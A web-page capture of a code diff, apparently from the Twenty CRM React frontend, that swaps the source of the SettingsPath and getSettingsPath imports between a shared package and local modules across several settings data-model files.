import { Dropdown } from '@/ui/layout/dropdown/components/Dropdown';
|
||||
import { DropdownContent } from '@/ui/layout/dropdown/components/DropdownContent';
|
||||
import { DropdownMenuItemsContainer } from '@/ui/layout/dropdown/components/DropdownMenuItemsContainer';
|
||||
@@ -7,7 +8,6 @@ import { useTheme } from '@emotion/react';
|
||||
import styled from '@emotion/styled';
|
||||
import { t } from '@lingui/core/macro';
|
||||
import { useLocation, useParams, useSearchParams } from 'react-router-dom';
|
||||
import { SettingsPath } from 'twenty-shared/types';
|
||||
import { isDefined } from 'twenty-shared/utils';
|
||||
import { IconChevronDown } from 'twenty-ui/display';
|
||||
import { Button } from 'twenty-ui/input';
|
||||
|
||||
+2
-2
@@ -9,6 +9,7 @@ import { useCurrencySettingsFormInitialValues } from '@/settings/data-model/fiel
|
||||
import { useSelectSettingsFormInitialValues } from '@/settings/data-model/fields/forms/select/hooks/useSelectSettingsFormInitialValues';
|
||||
import { type FieldType } from '@/settings/data-model/types/FieldType';
|
||||
import { type SettingsFieldType } from '@/settings/data-model/types/SettingsFieldType';
|
||||
import { SettingsPath } from '@/types/SettingsPath';
|
||||
import { SettingsTextInput } from '@/ui/input/components/SettingsTextInput';
|
||||
import { useIsFeatureEnabled } from '@/workspace/hooks/useIsFeatureEnabled';
|
||||
import { useTheme } from '@emotion/react';
|
||||
@@ -17,13 +18,12 @@ import { t } from '@lingui/core/macro';
|
||||
import { Section } from '@react-email/components';
|
||||
import { useState } from 'react';
|
||||
import { Controller, useFormContext } from 'react-hook-form';
|
||||
import { SettingsPath } from 'twenty-shared/types';
|
||||
import { getSettingsPath } from 'twenty-shared/utils';
|
||||
import { H2Title, IconSearch } from 'twenty-ui/display';
|
||||
import { UndecoratedLink } from 'twenty-ui/navigation';
|
||||
import { FieldMetadataType } from '~/generated-metadata/graphql';
|
||||
import { FeatureFlagKey } from '~/generated/graphql';
|
||||
import { type SettingsDataModelFieldTypeFormValues } from '~/pages/settings/data-model/new-field/SettingsObjectNewFieldSelect';
|
||||
import { getSettingsPath } from '~/utils/navigation/getSettingsPath';
|
||||
|
||||
type SettingsObjectNewFieldSelectorProps = {
|
||||
className?: string;
|
||||
|
||||
+3
-7
@@ -20,8 +20,8 @@ import {
|
||||
useReactFlow,
|
||||
} from '@xyflow/react';
|
||||
import { useCallback, useState } from 'react';
|
||||
import { SettingsPath } from 'twenty-shared/types';
|
||||
import { getSettingsPath, isDefined } from 'twenty-shared/utils';
|
||||
import { isDefined } from 'twenty-shared/utils';
|
||||
import { Button, IconButtonGroup } from 'twenty-ui/input';
|
||||
import {
|
||||
IconLock,
|
||||
IconLockOpen,
|
||||
@@ -30,7 +30,6 @@ import {
|
||||
IconPlus,
|
||||
IconX,
|
||||
} from 'twenty-ui/display';
|
||||
import { Button, IconButtonGroup } from 'twenty-ui/input';
|
||||
|
||||
const nodeTypes: NodeTypes = {
|
||||
object: SettingsDataModelOverviewObject,
|
||||
@@ -185,10 +184,7 @@ export const SettingsDataModelOverview = () => {
|
||||
return (
|
||||
<StyledContainer>
|
||||
<StyledCloseButton>
|
||||
<Button
|
||||
Icon={IconX}
|
||||
to={getSettingsPath(SettingsPath.Objects)}
|
||||
></Button>
|
||||
<Button Icon={IconX} to="/settings/objects"></Button>
|
||||
</StyledCloseButton>
|
||||
<SettingsDataModelOverviewEffect
|
||||
setEdges={setEdges}
|
||||
|
||||
+2
-2
@@ -11,11 +11,11 @@ import { getObjectTypeLabel } from '@/settings/data-model/utils/getObjectTypeLab
|
||||
import { FieldMetadataType } from '~/generated-metadata/graphql';
|
||||
|
||||
import { ObjectFieldRowWithoutRelation } from '@/settings/data-model/graph-overview/components/SettingsDataModelOverviewFieldWithoutRelation';
|
||||
import { SettingsPath } from '@/types/SettingsPath';
|
||||
import '@xyflow/react/dist/style.css';
|
||||
import { useState } from 'react';
|
||||
import { SettingsPath } from 'twenty-shared/types';
|
||||
import { getSettingsPath } from 'twenty-shared/utils';
|
||||
import { IconChevronDown, IconChevronUp, useIcons } from 'twenty-ui/display';
|
||||
import { getSettingsPath } from '~/utils/navigation/getSettingsPath';
|
||||
|
||||
type SettingsDataModelOverviewObjectNode = Node<ObjectMetadataItem, 'object'>;
|
||||
type SettingsDataModelOverviewObjectProps =
|
||||
|
||||
+2
-3
@@ -8,6 +8,7 @@ import { SettingsObjectFieldActiveActionDropdown } from '@/settings/data-model/o
|
||||
import { SettingsObjectFieldInactiveActionDropdown } from '@/settings/data-model/object-details/components/SettingsObjectFieldDisabledActionDropdown';
|
||||
import { settingsObjectFieldsFamilyState } from '@/settings/data-model/object-details/states/settingsObjectFieldsFamilyState';
|
||||
import { isFieldTypeSupportedInSettings } from '@/settings/data-model/utils/isFieldTypeSupportedInSettings';
|
||||
import { SettingsPath } from '@/types/SettingsPath';
|
||||
import { TableCell } from '@/ui/layout/table/components/TableCell';
|
||||
import { TableRow } from '@/ui/layout/table/components/TableRow';
|
||||
import { navigationMemorizedUrlState } from '@/ui/navigation/states/navigationMemorizedUrlState';
|
||||
@@ -15,9 +16,7 @@ import { useTheme } from '@emotion/react';
|
||||
import styled from '@emotion/styled';
|
||||
import { useMemo } from 'react';
|
||||
import { useRecoilState } from 'recoil';
|
||||
import { SettingsPath } from 'twenty-shared/types';
|
||||
import {
|
||||
getSettingsPath,
|
||||
isDefined,
|
||||
isLabelIdentifierFieldMetadataTypes,
|
||||
} from 'twenty-shared/utils';
|
||||
@@ -27,7 +26,7 @@ import { UndecoratedLink } from 'twenty-ui/navigation';
|
||||
import { RelationType } from '~/generated-metadata/graphql';
|
||||
import { useNavigateSettings } from '~/hooks/useNavigateSettings';
|
||||
import { type SettingsObjectDetailTableItem } from '~/pages/settings/data-model/types/SettingsObjectDetailTableItem';
|
||||
|
||||
import { getSettingsPath } from '~/utils/navigation/getSettingsPath';
|
||||
import { RELATION_TYPES } from '../../constants/RelationTypes';
|
||||
import { SettingsObjectFieldDataType } from './SettingsObjectFieldDataType';
|
||||
|
||||
|
||||
+1
-1
@@ -5,12 +5,12 @@ import {
|
||||
type SettingsDataModelObjectAboutFormValues,
|
||||
settingsDataModelObjectAboutFormSchema,
|
||||
} from '@/settings/data-model/validation-schemas/settingsDataModelObjectAboutFormSchema';
|
||||
import { SettingsPath } from '@/types/SettingsPath';
|
||||
import { useSnackBar } from '@/ui/feedback/snack-bar-manager/hooks/useSnackBar';
|
||||
import { ApolloError } from '@apollo/client';
|
||||
import { zodResolver } from '@hookform/resolvers/zod';
|
||||
import { FormProvider, useForm } from 'react-hook-form';
|
||||
import { useSetRecoilState } from 'recoil';
|
||||
import { SettingsPath } from 'twenty-shared/types';
|
||||
import { ZodError } from 'zod';
|
||||
import { useNavigateSettings } from '~/hooks/useNavigateSettings';
|
||||
import { updatedObjectNamePluralState } from '~/pages/settings/data-model/states/updatedObjectNamePluralState';
|
||||
|
||||
+2
-2
@@ -1,7 +1,7 @@
|
||||
import { type ObjectMetadataItem } from '@/object-metadata/types/ObjectMetadataItem';
|
||||
import { SettingsPath } from 'twenty-shared/types';
|
||||
import { getSettingsPath } from 'twenty-shared/utils';
|
||||
import { SettingsPath } from '@/types/SettingsPath';
|
||||
import { SettingsObjectFieldTable } from '~/pages/settings/data-model/SettingsObjectFieldTable';
|
||||
import { getSettingsPath } from '~/utils/navigation/getSettingsPath';
|
||||
|
||||
import styled from '@emotion/styled';
|
||||
import { useLingui } from '@lingui/react/macro';
|
||||
|
||||
+1
-1
@@ -3,9 +3,9 @@ import { type ObjectMetadataItem } from '@/object-metadata/types/ObjectMetadataI
|
||||
import { useUpdateOneObjectMetadataItem } from '@/object-metadata/hooks/useUpdateOneObjectMetadataItem';
|
||||
import { SettingsUpdateDataModelObjectAboutForm } from '@/settings/data-model/object-details/components/SettingsUpdateDataModelObjectAboutForm';
|
||||
import { SettingsDataModelObjectSettingsFormCard } from '@/settings/data-model/objects/forms/components/SettingsDataModelObjectSettingsFormCard';
|
||||
import { SettingsPath } from '@/types/SettingsPath';
|
||||
import styled from '@emotion/styled';
|
||||
import { useLingui } from '@lingui/react/macro';
|
||||
import { SettingsPath } from 'twenty-shared/types';
|
||||
import { H2Title, IconArchive } from 'twenty-ui/display';
|
||||
import { Button } from 'twenty-ui/input';
|
||||
import { Section } from 'twenty-ui/layout';
|
||||
|
||||
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user